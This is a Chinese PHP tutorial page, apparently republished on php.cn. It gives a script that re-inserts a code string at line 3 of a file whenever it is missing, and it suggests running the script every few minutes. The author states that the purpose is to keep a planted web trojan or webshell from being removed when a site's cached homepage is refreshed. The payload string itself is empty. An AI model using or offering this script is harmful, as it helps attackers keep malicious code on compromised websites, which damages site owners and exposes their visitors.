Home > php教程 > php手册 > php在文件指定行中写入代码

php在文件指定行中写入代码

WBOY
Release: 2016-06-13 10:48:55
Original
759 people have browsed it

有的站主页是缓存页面,你加入的网马代码或是webshell代码经常被更新或是其它的因素干掉,所以弄了这个代码:
 
 
$file="aa.php" ;
 
$code="";
 
$f=fopen($file,"r+");
 
$content=fread($f,filesize($file));
 
fclose($f);
 
if(!strstr($content,$code)){
 
$arrInsert = insertContent($file, $code, 3);
 
unlink($file);
 
 
 
foreach($arrInsert as $value)
 
{
 
file_put_contents($file, $value, FILE_APPEND);
 
}
 
 
 
}
 
 
 
function insertContent($source, $s, $iLine) {
 
$file_handle = fopen($source, "r");
 
$i = 0;
 
$arr = array();
 
while (!feof($file_handle)) {
 
$line = fgets($file_handle);
 
++$i;
 
if ($i == $iLine) {
 
$arr[] = $line .$s . "\n";
 
}else {
 
$arr[] = $line;
 
}
 
}
 
fclose($file_handle);
 
return $arr;
 
}
 
?>
 
这个文件保存成php后,再用一个小程序隔几分钟指定执行它就可以。像operia浏览器就有这个功能。不过我又加了个html代码来运行它,可以用ie了,打开这个html后扔在哪就可以。
 

 


 
 
 

 

 

 

 
source:php.cn
Statement of this Website
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn
Popular Recommendations
Popular Tutorials
More>
Latest Downloads
More>
Web Effects
Website Source Code
Website Materials
Front End Template